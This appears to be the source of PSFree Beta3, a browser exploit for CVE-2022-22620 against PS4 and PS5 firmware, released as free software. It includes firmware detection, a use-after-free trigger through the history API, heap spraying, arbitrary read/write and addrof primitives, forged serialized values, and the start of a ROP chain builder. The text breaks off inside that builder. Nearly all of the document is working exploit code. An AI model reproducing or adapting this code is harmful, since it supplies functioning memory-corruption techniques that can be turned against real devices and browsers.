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PSFree Beta3

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Added PS4 Firmware Detection
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Kameleon
2023-12-25 00:51:26 -06:00
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GNU AFFERO GENERAL PUBLIC LICENSE
Version 3, 19 November 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
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<meta charset='utf-8'>
<title>About PSFree</title>
</head>
<body>
PSFree is a WebKit exploit for PS4 Firmware 8.03.<br>
PSFree is free software. See <a href='./COPYING'>COPYING</a> for the copyleft information.<br>
Here is the source code of this program:<br>
<br>
HTML files:<br>
<a href='./index.html' download>index.html</a><br>
<a href='./about.html' download>about.html</a><br>
JavaScript files:<br>
<table id="jslicense-labels1">
<tr>
<td><a href="./alert.mjs">alert.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./alert.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./config.mjs">config.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./config.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./run.mjs">run.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./run.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./rop.mjs">rop.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./exploit.mjs">exploit.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./exploit.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./module/chain.mjs">module/chain.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/chain.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./module/int64.mjs">module/int64.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/int64.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./module/constants.mjs">module/constants.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/constants.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./module/memtools.mjs">module/memtools.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/memtools.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./module/utils.mjs">module/utils.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/utils.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./module/rw.mjs">module/rw.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/rw.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./module/offset.mjs">module/offset.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/offset.mjs" download>download</a></td>
</tr> <tr>
<td><a href="./module/mem.mjs">module/mem.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/mem.mjs" download>download</a></td>
</tr>
</table>
</body>
</html>
alert.mjs
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/* Copyright (C) 2023 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// We can't just open a console on the ps4 browser, make sure the errors thrown
// by our modules are alerted. We use alert() instead of debug_log() because
// while we are developing, we may modify the utils.mjs module and introduce
// bugs. We can not use debug_log() if it throws an error.
//
// We added this new file instead of putting this on run.mjs, so we can ensure
// we can attach this listener first before running anything.
addEventListener('unhandledrejection', (event) => {
const reason = event.reason;
// We log the line and column numbers as well since some exceptions (like
// SyntaxError) do not show it in the stack trace.
alert(
`${reason}\n`
+ `${reason.sourceURL}:${reason.line}:${reason.column}\n`
+ `${reason.stack}`
);
throw reason;
})
// important that we dynamically import the exploit script after we attach
import('./exploit.mjs');
config.mjs
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/* Copyright (C) 2023 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// webkitgtk 2.34.4 was used to develop the portable parts of the exploit
// before moving on to ps4 8.03
//
// webkitgtk 2.34.4 was built with cmake variable ENABLE_JIT=OFF, that variable
// can affect the size of SerializedScriptValue
//
// this target is no longer supported
//
//export const gtk_2_34_4 = 0;
// the original target platform was 8.03, this version confirmed works on ps4
// 7.xx-8.xx
export const ps4_8_03 = 1;
// this version for 9.xx
export const ps4_9_00 = 2;
// version 9.xx is for ps5 1.xx-5.xx as well
export const ps5_5_00 = ps4_9_00;
// this version for 6.50-6.72
export const ps4_6_50 = 3;
// this version for 6.00-6.20
export const ps4_6_00 = 4;
export function set_target(value) {
switch (value) {
case ps4_8_03:
case ps4_9_00:
case ps4_6_00:
case ps4_6_50: {
break;
}
default: {
throw RangeError('invalid target: ' + target);
}
}
target = value;
}
function DetectFirmwareVersion()
{
var UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("PlayStation 4/","");
if (UA == "6.00" || UA == "6.02" || UA == "6.10" || UA == "6.20")
{
return ps4_6_00;
}
if (UA == "6.50" || UA == "6.70" || UA == "6.71" || UA == "6.72")
{
return ps4_6_50;
}
if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55" || UA == "8.00" || UA == "8.01" || UA == "8.03" || UA == "8.50")
{
return ps4_8_03;
}
//on 9.00 Fw deection changed to laysation insead of regular Playsation
UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("layStation 4/","");
if (UA == "9.00" || UA == "9.03" || UA == "9.04" || UA == "9.50" || UA == "9.60")
{
return ps4_9_00;
}
}
export let target = DetectFirmwareVersion();
exploit.mjs
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/* Copyright (C) 2023 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import * as config from './config.mjs';
import {
read32,
read64,
write32,
write64,
sread64,
} from './module/rw.mjs';
import * as o from './module/offset.mjs';
import { Int } from './module/int64.mjs';
import { Memory, Memory2 } from './module/mem.mjs';
import {
die,
debug_log,
clear_log,
str2array,
} from './module/utils.mjs';
const ssv_len = (() => {
switch (config.target) {
case config.ps4_6_00: {
return 0x58;
}
case config.ps4_9_00: {
return 0x50;
}
case config.ps4_6_50:
case config.ps4_8_03: {
return 0x48;
}
default: {
throw RangeError('invalid config.target: ' + config.target);
}
}
})();
const num_reuse = 0x4000;
// size of JSArrayBufferView
const original_strlen = ssv_len - o.size_strimpl;
const buffer_len = 0x20;
// make sure this is large enough to ensure that enough strings will
// occupy any gaps in in the relative read area so when are trying to leak the
// JSArrayBufferView we won't hit any unmapped areas
const num_str = 0x4000;
const num_gc = 30;
const num_space = 19;
const original_loc = window.location.pathname;
const loc = original_loc + '#foo';
// this variable has to be global for the leak to work
let rstr = null;
// this variable has to be global so that the exploit is more likely to succeed
let view_leak_arr = [];
// These variables need to be global because we theorize there are
// optimizations between local and global variables.
// We don't know what optimizations these are but it is messing with us.
// contents of the JSArrayBufferView
// 3rd element is the address of the buffer of the JSArrayBufferView
let jsview = [];
// objects for saving values
let s1 = {views : []};
let s2 = {views : []};
let view_leak = null;
let view_rw = null;
let input = document.body.appendChild(document.createElement("input"));
let foo = document.body.appendChild(document.createElement("a"));
foo.id = "foo";
// The theory is that the allocator and garbage collector (GC) cooperate in
// serving allocation requests. The GC knows if there are any garbage that can
// be collected, to free up memory for requests. If the allocator can't serve a
// request, it will ask the GC to perform a garbage collection.
//
// If even after a garbage colllection, there is still no memory left for
// allocation, then the process will request the operating system to increase
// its heap size.
//
// We loop a couple of times by num_loop in allocating memory and dropping
// references to it. Even though we dropped the references immediately, memory
// consumption will still grow, since garbage is not immediately collected.
// Hopefully one of the requests will force the allocator to yield to the GC.
let pressure = null;
function gc(num_loop) {
pressure = Array(100);
for (let i = 0; i < num_loop; i++) {
for (let i = 0; i < pressure.length; i++) {
pressure[i] = new Uint32Array(0x40000);
}
pressure = Array(100);
}
pressure = null;
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function prepare_uaf() {
// don't want any state0 near state1
history.pushState('state0', '');
for (let i = 0; i < num_space; i++) {
history.replaceState('state0', '');
}
history.replaceState("state1", "", loc);
// don't want any state2 near state1
history.pushState("state2", "");
for (let i = 0; i < num_space; i++) {
history.replaceState("state2", "");
}
}
function free(save) {
// We replace the URL with the original so the user can rerun the exploit
// via a reload. If we don't then the exploit will append another "#foo" to
// the URL and the input element will not be blurred because the foo
// element won't be scrolled to during history.back().
history.replaceState('state3', '', original_loc);
for (let i = 0; i < num_reuse; i++) {
let view = new Uint8Array(new ArrayBuffer(ssv_len));
for (let i = 0; i < view.length; i++) {
view[i] = 0x41;
}
save.views.push(view);
}
}
function check_spray(views) {
if (views.length !== num_reuse) {
debug_log(`views.length: ${views.length}`);
die('views.length !== num_reuse, restart the entire exploit');
}
for (let i = 0; i < num_reuse; i++) {
if (views[i][0] !== 0x41) {
return i;
}
}
return null;
}
async function use_after_free(pop_func, save) {
const pop_promise = new Promise((resolve, reject) => {
function pop_wrapper(event) {
try {
pop_func(event, save);
} catch (e) {
reject(e);
}
resolve();
}
addEventListener("popstate", pop_wrapper, {once:true});
});
prepare_uaf();
let num_free = 0;
function onblur() {
if (num_free > 0) {
die('multiple free()s, restart the entire exploit');
}
free(save);
num_free++;
}
input.onblur = onblur;
await new Promise((resolve) => {
input.addEventListener('focus', resolve, {once:true});
input.focus();
});
history.back();
await pop_promise;
}
// get arbitrary read
async function setup_ar(save) {
const view = save.ab;
// set refcount to 1, all other fields to 0/NULL
view[0] = 1;
for (let i = 1; i < view.length; i++) {
view[i] = 0;
}
delete save.views;
delete save.pop;
gc(num_gc);
debug_log('setup_ar() gc done');
// Extra sleep if the object hasn't been collected yet, this is to allow
// the garbage collector to preempt us. Keeping the call to gc() lowers the
// average total sleep time.
let total_sleep = 0;
const num_sleep = 8;
// Don't sleep for 9.xx. Tests show it is slower. This check and the sleep
// before double_free() make the exploit fast for 9.xx.
while (true && config.target !== config.ps4_9_00) {
await sleep(num_sleep);
total_sleep += num_sleep;
if (view[0] !== 1) {
break;
}
}
debug_log(`total_sleep: ${total_sleep}`);
// log to check if the garbage collector did collect PopStateEvent
// must not log "1, 0, 0, 0, ..."
debug_log(view);
let num_spray = 0;
while (true) {
const obj = {};
num_spray++;
for (let i = 0; i < num_str; i++) {
let str = new String(
'B'.repeat(original_strlen - 5)
+ i.toString().padStart(5, '0')
);
obj[str] = 0x1337;
}
if (view[o.strimpl_inline_str] === 0x42) {
write32(view, o.strimpl_strlen, 0xffffffff);
} else {
continue;
}
let found = false;
const str_arr = Object.getOwnPropertyNames(obj);
for (let i = 0; i < str_arr.length; i++) {
if (str_arr[i].length > 0xff) {
rstr = str_arr[i];
found = true;
debug_log('confirmed correct leaked');
debug_log(`str len: ${rstr.length}`);
debug_log(view);
debug_log(`read address: ${read64(view, o.strimpl_m_data)}`);
break;
}
}
if (!found) {
continue;
}
debug_log(`num_spray: ${num_spray}`);
return;
}
}
async function double_free(save) {
const view = save.ab;
await setup_ar(save);
// Spraying JSArrayBufferViews
debug_log('spraying views');
let buffer = new ArrayBuffer(buffer_len);
let tmp = [];
const num_alloc = 0x10000;
const num_threshold = 0xfc00;
const num_diff = num_alloc - num_threshold;
for (let i = 0; i < num_alloc; i++) {
// The last allocated are more likely to be allocated after our relative read
if (i >= num_threshold) {
view_leak_arr.push(new Uint8Array(buffer));
} else {
tmp.push(new Uint8Array(buffer));
}
}
tmp = null;
debug_log('done spray views');
// Force JSC ref on FastMalloc Heap
// https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151
let props = [];
for (let i = 0; i < num_diff; i++) {
props.push({ value: 0x43434343 });
props.push({ value: view_leak_arr[i] });
}
debug_log('start find leak');
//
// /!\
// This part must avoid as much as possible fastMalloc allocation
// to avoid re-using the targeted object
// /!\
//
// Use relative read to find our JSC obj
// We want a JSArrayBufferView that is allocated after our relative read
search: while (true) {
Object.defineProperties({}, props);
for (let i = 0; i < 0x800000; i++) {
let v = null;
if (rstr.charCodeAt(i) === 0x43 &&
rstr.charCodeAt(i + 1) === 0x43 &&
rstr.charCodeAt(i + 2) === 0x43 &&
rstr.charCodeAt(i + 3) === 0x43
) {
// check if PropertyDescriptor
if (rstr.charCodeAt(i + 0x08) === 0x00 &&
rstr.charCodeAt(i + 0x0f) === 0x00 &&
rstr.charCodeAt(i + 0x10) === 0x00 &&
rstr.charCodeAt(i + 0x17) === 0x00 &&
rstr.charCodeAt(i + 0x18) === 0x0e &&
rstr.charCodeAt(i + 0x1f) === 0x00 &&
rstr.charCodeAt(i + 0x28) === 0x00 &&
rstr.charCodeAt(i + 0x2f) === 0x00 &&
rstr.charCodeAt(i + 0x30) === 0x00 &&
rstr.charCodeAt(i + 0x37) === 0x00 &&
rstr.charCodeAt(i + 0x38) === 0x0e &&
rstr.charCodeAt(i + 0x3f) === 0x00
) {
v = str2array(rstr, 8, i + 0x20);
// check if array of JSValues pointed by m_buffer
} else if (rstr.charCodeAt(i + 0x10) === 0x43 &&
rstr.charCodeAt(i + 0x11) === 0x43 &&
rstr.charCodeAt(i + 0x12) === 0x43 &&
rstr.charCodeAt(i + 0x13) === 0x43) {
v = str2array(rstr, 8, i + 8);
}
}
if (v !== null) {
view_leak = new Int(v);
break search;
}
}
}
//
// /!\
// Critical part ended-up here
// /!\
//
debug_log('end find leak');
debug_log('view addr ' + view_leak);
let rstr_addr = read64(view, o.strimpl_m_data);
write64(view, o.strimpl_m_data, view_leak);
for (let i = 0; i < 4; i++) {
jsview.push(sread64(rstr, i*8));
}
write64(view, o.strimpl_m_data, rstr_addr);
write32(view, o.strimpl_strlen, original_strlen);
debug_log('contents of JSArrayBufferView');
debug_log(jsview);
/*
// check if the JSArrayBufferView is allocated below its buffer
let index = view_leak.sub(jsview[2]);
debug_log('index: ' + index);
// check sign bit
if (index.high() >>> 31 === 1) {
die('view not below buffer');
}
if (index.high() !== 0) {
die('index not reachable by relative r/w');
}
*/
}
function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) {
const old_m_data = read64(view_rstr, o.strimpl_m_data);
let res = null;
write64(view_rstr, o.strimpl_m_data, view_m_vector);
for (const view of view_arr) {
const magic = 0x41424344;
write32(view, 0, magic);
if (sread64(rstr, 0).low() === magic) {
res = view;
break;
}
}
write64(view_rstr, o.strimpl_m_data, old_m_data);
if (res === null) {
die('not found');
}
return res;
}
class Reader {
// leaker will be the view whose address we leaked
constructor(rstr, view_rstr, leaker, leaker_addr) {
this.rstr = rstr;
this.view_rstr = view_rstr;
this.leaker = leaker;
this.leaker_addr = leaker_addr;
this.old_m_data = read64(view_rstr, o.strimpl_m_data);
// Create a butterfy with the "a" property as the first. leaker is a
// JSArrayBufferView. Instances of that class don't have inlined
// properties and the butterfly is immediately created.
leaker.a = 0; // dummy value, we just want to create the "a" property
}
addrof(obj) {
if (typeof obj !== 'object'
&& typeof obj !== 'function'
) {
throw TypeError('addrof argument not a JS object');
}
this.leaker.a = obj;
// no need to modify the length, original_strlen is large enough
write64(this.view_rstr, o.strimpl_m_data, this.leaker_addr);
const butterfly = sread64(this.rstr, o.js_butterfly);
write64(this.view_rstr, o.strimpl_m_data, butterfly.sub(0x10));
const res = sread64(this.rstr, 0);
write64(this.view_rstr, o.strimpl_m_data, this.old_m_data);
return res;
}
get_view_vector(view) {
if (!ArrayBuffer.isView(view)) {
throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
}
write64(this.view_rstr, o.strimpl_m_data, this.addrof(view));
const res = sread64(this.rstr, o.view_m_vector);
write64(this.view_rstr, o.strimpl_m_data, this.old_m_data);
return res;
}
}
// data to write to the SerializedScriptValue
//
// Setup to make deserialization create an ArrayBuffer with its buffer address
// pointing to a JSArrayBufferView (worker).
function setup_ssv_data(reader) {
const r = reader;
// sizeof WTF::Vector<T>
const size_vector = 0x10;
// sizeof JSC::ArrayBufferContents
const size_abc = config.target === config.ps4_9_00 ? 0x18 : 0x20;
// WTF::Vector<unsigned char>
const m_data = new Uint8Array(new ArrayBuffer(size_vector));
const data = new Uint8Array(new ArrayBuffer(9));
// m_buffer
write64(m_data, 0, r.get_view_vector(data));
// m_capacity
write32(m_data, 8, data.length);
// m_size
write32(m_data, 0xc, data.length);
// 6 is the serialization format version number for ps4 6.00. The format
// is backwards compatible and using a value less the current version
// number used by a specific WebKit version is considered valid.
//
// See CloneDeserializer::isValid() from
// WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.03.
const CurrentVersion = 6;
const ArrayBufferTransferTag = 23;
write32(data, 0, CurrentVersion);
data[4] = ArrayBufferTransferTag;
write32(data, 5, 0);
// WTF::Vector<JSC::ArrayBufferContents>
const abc_vector = new Uint8Array(new ArrayBuffer(size_vector));
// JSC::ArrayBufferContents
const abc = new Uint8Array(new ArrayBuffer(size_abc));
write64(abc_vector, 0, r.get_view_vector(abc));
write32(abc_vector, 8, 1);
write32(abc_vector, 0xc, 1);
const worker = new Uint8Array(new ArrayBuffer(1));
if (config.target !== config.ps4_9_00) {
// m_destructor
write64(abc, 0, Int.Zero);
// m_shared
write64(abc, 8, Int.Zero);
// m_data
write64(abc, 0x10, r.addrof(worker));
// m_sizeInBytes
write32(abc, 0x18, o.size_view);
} else {
// m_data
write64(abc, 0, r.addrof(worker));
// m_destructor
write64(abc, 8, Int.Zero);
// m_shared
write64(abc, 0xe, Int.Zero);
// m_sizeInBytes
write32(abc, 0x14, o.size_view);
}
return {
m_data,
m_arrayBufferContentsArray : r.get_view_vector(abc_vector),
worker,
// keep a reference to prevent garbage collection
nogc : [
data,
abc_vector,
abc,
],
};
}
// get arbitrary read/write
async function setup_arw2(save, ssv_data) {
const num_msg = 1000;
const view = save.ab;
let msgs = [];
function onmessage(event) {
msgs.push(event);
}
addEventListener('message', onmessage);
// Free the StringImpl so we can spray SerializedScriptValues over the
// buffer of view.
rstr = null;
while (true) {
for (let i = 0; i < num_msg; i++) {
postMessage('', origin);
}
while (msgs.length !== num_msg) {
await sleep(100);
}
if (view[o.strimpl_inline_str] !== 0x42) {
break;
}
msgs = [];
}
removeEventListener('message', onmessage);
debug_log('view contents:');
for (let i = 0; i < ssv_len; i += 8) {
debug_log(read64(view, i));
}
const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data;
write64(view, 8, read64(m_data, 0));
write64(view, 0x10, read64(m_data, 8));
write64(view, 0x18, m_arrayBufferContentsArray);
for (const msg of msgs) {
if (msg.data !== '') {
alert('achieved arbitrary r/w');
debug_log('achieved arbitrary r/w');
const u = new Uint8Array(msg.data);
debug_log('deserialized ArrayBuffer:');
for (let i = 0; i < o.size_view; i += 8) {
debug_log(read64(u, i));
}
const mem = new Memory2(u, worker);
// safe to zero out the contents, the destructor will ignore fields
// that are zero/NULL
view.set(new Uint8Array(view.buffer));
// set refcount to 1 to have it not leak memory
view[0] = 1;
return;
}
}
die('no arbitrary r/w');
}
// Don't create additional references to rstr, use the global variable. This
// is to make dropping all references to it easy (change the value of the
// global variable).
async function triple_free(
save,
// contents of the leaked JSArrayBufferView
jsview,
view_leak_arr,
leaked_view_addr,
) {
const leaker = find_leaked_view(rstr, save.ab, jsview[2], view_leak_arr);
let r = new Reader(rstr, save.ab, leaker, leaked_view_addr);
const ssv_data = setup_ssv_data(r);
// r contains a reference to rstr, drop it for setup_arw2()
r = null;
await setup_arw2(save, ssv_data);
}
// for ps4 and ps5
async function decrement(save) {
debug_log('try decrement');
const offset_num_loop =
config.target === config.ps4_6_00 ? 0x54 : 0x44
;
const offset_target_addr =
config.target === config.ps4_6_00 ? 0x48 : 0x38
;
const view = save.ab;
const num_loop_str = offset_num_loop.toString(16);
const target_addr_str = offset_target_addr.toString(16);
// any of the buffers since they all share the same underlying memory
let trick_buffer = view_leak_arr[0];
view[0] = 1; // refcount
for (let i = 1; i < view.length; i++) {
view[i] = 0; // unneeded fields to NULL
}
// setup to trick the destructor
write32(view, offset_num_loop, 1);
write64(view, offset_target_addr, jsview[2]);
debug_log(`0x${num_loop_str}: ${read32(view, offset_num_loop)}`);
debug_log(`0x${target_addr_str}: ${read64(view, offset_target_addr)}`);
debug_log(view);
let target_addr =
view_leak.add(
o.view_m_length
+ 1 // to misalign the decrement
);
write64(trick_buffer, 0, target_addr);
debug_log('target addr: ' + target_addr);
debug_log('check: readout addr in buffer: ' + read64(trick_buffer, 0));
delete save.views;
delete save.pop;
// we lowered it from num_gc since we are crashing on the ps4
gc(20);
debug_log('decrement() gc done');
// Extra sleep if the object hasn't been collected yet, this is to allow
// the garbage collector to preempt us. Keeping the call to gc() lowers the
// average total sleep time.
let total_sleep = 0;
const num_sleep = 8;
while (true) {
await sleep(num_sleep);
total_sleep += num_sleep;
if (view[0] !== 1) {
break;
}
}
debug_log(`total_sleep: ${total_sleep}`);
// log to check if the garbage collector did collect PopStateEvent
// must not log "1, 0, 0, 0, ..."
debug_log(view);
let found = false;
for (let i = 0; i < view_leak_arr.length; i++) {
let view = view_leak_arr[i];
if (view.length > 0xff) {
debug_log('achieved relative r/w');
debug_log('view i: ' + i);
debug_log('view len: ' + view.length);
found = true;
view_rw = view_leak_arr[i];
break;
}
}
if (!found) {
die('no relative r/w');
}
}
// get arbitrary read/write
function setup_arw() {
let view_worker_addr = null;
let view_worker = null;
let worker_i = null;
let index = view_leak.sub(jsview[2]);
index = index.low();
// Is the next JSObject a JSArrayBufferView? Otherwise we target the previous JSObject
if (view_rw[index + o.size_view + o.view_m_length] === buffer_len) {
view_worker_addr = view_leak.add(o.size_view);
worker_i = index + o.size_view;
} else {
view_worker_addr = view_leak.sub(o.size_view);
worker_i = index - o.size_view;
}
debug_log('worker i: ' + worker_i);
// Overiding the length of one the JSArrayBufferViews with a known value
// ensure known value != buffer_len
view_rw[worker_i + o.view_m_length] = 0xff;
// Looking for the worker JSArrayBufferView
let found = false;
for (let i = 0; i < view_leak_arr.length; i++) {
if (view_leak_arr[i].length === 0xff) {
alert('achieved arbitrary r/w');
debug_log('achieved arbitrary r/w');
view_worker = view_leak_arr[i];
found = true;
break;
}
}
if (!found) {
die('no arbitrary r/w');
}
const mem = new Memory(
view_rw, view_leak,
view_worker, view_worker_addr,
worker_i
);
// cleanup
view_leak_arr = null;
view_rw = null;
view_leak = null;
// during the decrement we corrupted m_mode as well, we have the original
// m_mode here at jsview but we won't bother in fixing it since we are not
// crashing anyway
jsview = null;
// the StringImpl is safe to free since we fixed it up earlier
rstr = null;
input = null;
foo = null;
// After rstrs's death and the decrement, the JSArrayBufferViews at s1 and
// s2 will no longer have any object overlaid on their backing buffers but
// it is still freed. Meaning we can control any object that might be
// allocated there again. But these views are no longer needed as we
// already have an arbitrary read/write primitive. It might be in our
// interest to just free them as well.
//
// But since we have not filled the backing buffers with any object, the
// browser might have already filled them with important objects. Freeing
// the views will lead them to freeing their backing buffers since they
// still think they need to and thus this will free any overlaid objects.
//
// So we will not free them just to be sure we won't free any important
// objects by accident and lead to a crash.
//s1 = null;
//s2 = null;
}
function pop(event, save) {
let spray_res = check_spray(save.views);
if (spray_res === null) {
die('failed spray');
} else {
save.pop = event;
save.ab = save.views[spray_res];
debug_log('ssv len: ' + ssv_len);
debug_log('view index: ' + spray_res);
debug_log(save.ab);
}
}
// For some reason the input element is being blurred by something else (we
// don't know what) if we execute use_after_free() before the DOMContentLoaded
// event fires. The input must only be blurred by history.back(), which will
// change the focus from the input to the foo element.
async function get_ready() {
debug_log('readyState: ' + document.readyState);
await new Promise((resolve, reject) => {
if (document.readyState !== "complete") {
document.addEventListener("DOMContentLoaded", resolve);
return;
}
resolve();
});
}
async function run() {
debug_log('stage: readying');
await get_ready();
debug_log('stage: UaF 1');
await use_after_free(pop, s1);
// we trigger the leak first because it is more likely to work
// than if it were to happen during the second ssv smashing
// on the ps4
debug_log('stage: double free');
// * keeps double_free()'s total sleep even lower
// * also helps the garbage collector scheduling for 9.xx
await sleep(0);
await double_free(s1);
debug_log('stage: triple free');
await triple_free(s1, jsview, view_leak_arr, view_leak);
/*
// This extra sleep is needed before UaF 2, since for some reason the
// garbage collector can't immediately collect the objects near state1.
// These objects are probably just the usual temporaries used by the JS
// virtual machine. Essentially there is a timing issue on when is the GC
// allowed to collect?
await sleep(0x800);
debug_log('stage: UaF 2');
await use_after_free(pop, s2);
debug_log('stage: decrement');
await decrement(s2);
debug_log('stage: setup arw');
setup_arw();
clear_log();
// path to your script that will use the exploit
import('./code.mjs');
*/
}
run();
index.html
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<!-- Copyright (C) 2023 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-->
<html>
<head>
<meta charset='utf-8'>
<title>PSFree Beta 3 version</title>
</head>
<body>
PS4/PS5 exploit using CVE-2022-22620<br>
PS4 versions vulnerable: 6.xx-9.xx (tested 6.00-9.60)<br>
PS5 versions vulnerable: 1.xx-5.xx (tested 1.00-5.50)<br>
<a href="./about.html" data-jslicense="1">JavaScript license information</a>
</body>
<script type='module' src='alert.mjs'></script>
</html>
module/chain.mjs
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/* Copyright (C) 2023 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int } from './int64.mjs';
import { get_view_vector } from './memtools.mjs';
import { Addr, mem } from './mem.mjs';
import {
read64,
write64,
} from './rw.mjs';
import * as o from './offset.mjs';
// put the sycall names that you want to use here
export const syscall_map = new Map(Object.entries({
'getuid' : 24,
}));
// Extra space to allow a ROP chain to push temporary values. It must pop all
// of it before reaching a "ret" instruction, else the instruction will pop one
// of the temporaries as its return address.
const upper_pad = 0x100;
const stack_size = 0x1000;
const total_size = upper_pad + stack_size;
const argument_pops = [
'pop rdi; ret',
'pop rsi; ret',
'pop rdx; ret',
'pop rcx; ret',
'pop r8; ret',
'pop r9; ret',
];
export class ChainBase {
constructor() {
this.is_stale = false;
this.position = 0;
this._return_value = new Uint8Array(8);
this.retval_addr = get_view_vector(this._return_value);
const stack_buffer = new ArrayBuffer(total_size);
this.stack_buffer = stack_buffer;
this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size);
this.stack_addr = get_view_vector(this.stack);
}
check_stale() {
if (this.is_stale) {
throw Error('chain already ran, clean it first');
}
this.is_stale = true;
}
check_is_empty() {
if (this.position === 0) {
throw Error('chain is empty');
}
}
clean() {
this.position = 0;
this.is_stale = false;
}
// this will raise an error if the value is not an Int
push_value(value) {
if (this.position >= stack_size) {
throw Error(`no more space on the stack, pushed value: ${value}`);
}
write64(this.stack, this.position, value);
this.position += 8;
}
// converts value to Int first
push_constant(value) {
this.push_value(new Int(value));
}
get_gadget(insn_str) {
const addr = this.gadgets.get(insn_str);
if (addr === undefined) {
throw Error(`gadget not found: ${insn_str}`);
}
return addr;
}
push_gadget(insn_str) {
this.push_value(this.get_gadget(insn_str));
}
push_call(func_addr, ...args) {
if (args.length > 6) {
throw TypeError(
'call() does not support functions that have more than 6'
+ ' arguments'
);
}
for (let i = 0; i < args.length; i++) {
this.push_gadget(argument_pops[i]);
this.push_constant(args[i]);
}
// The address of our buffer seems to be always aligned to 8 bytes.
// SysV calling convention requires the stack is aligned to 16 bytes on
// function entry, so push an additional 8 bytes to pad the stack. We
// pushed a "ret" gadget for a noop.
if ((this.position & (0x10 - 1)) !== 0) {
this.push_gadget('ret');
}
this.push_value(func_addr);
}
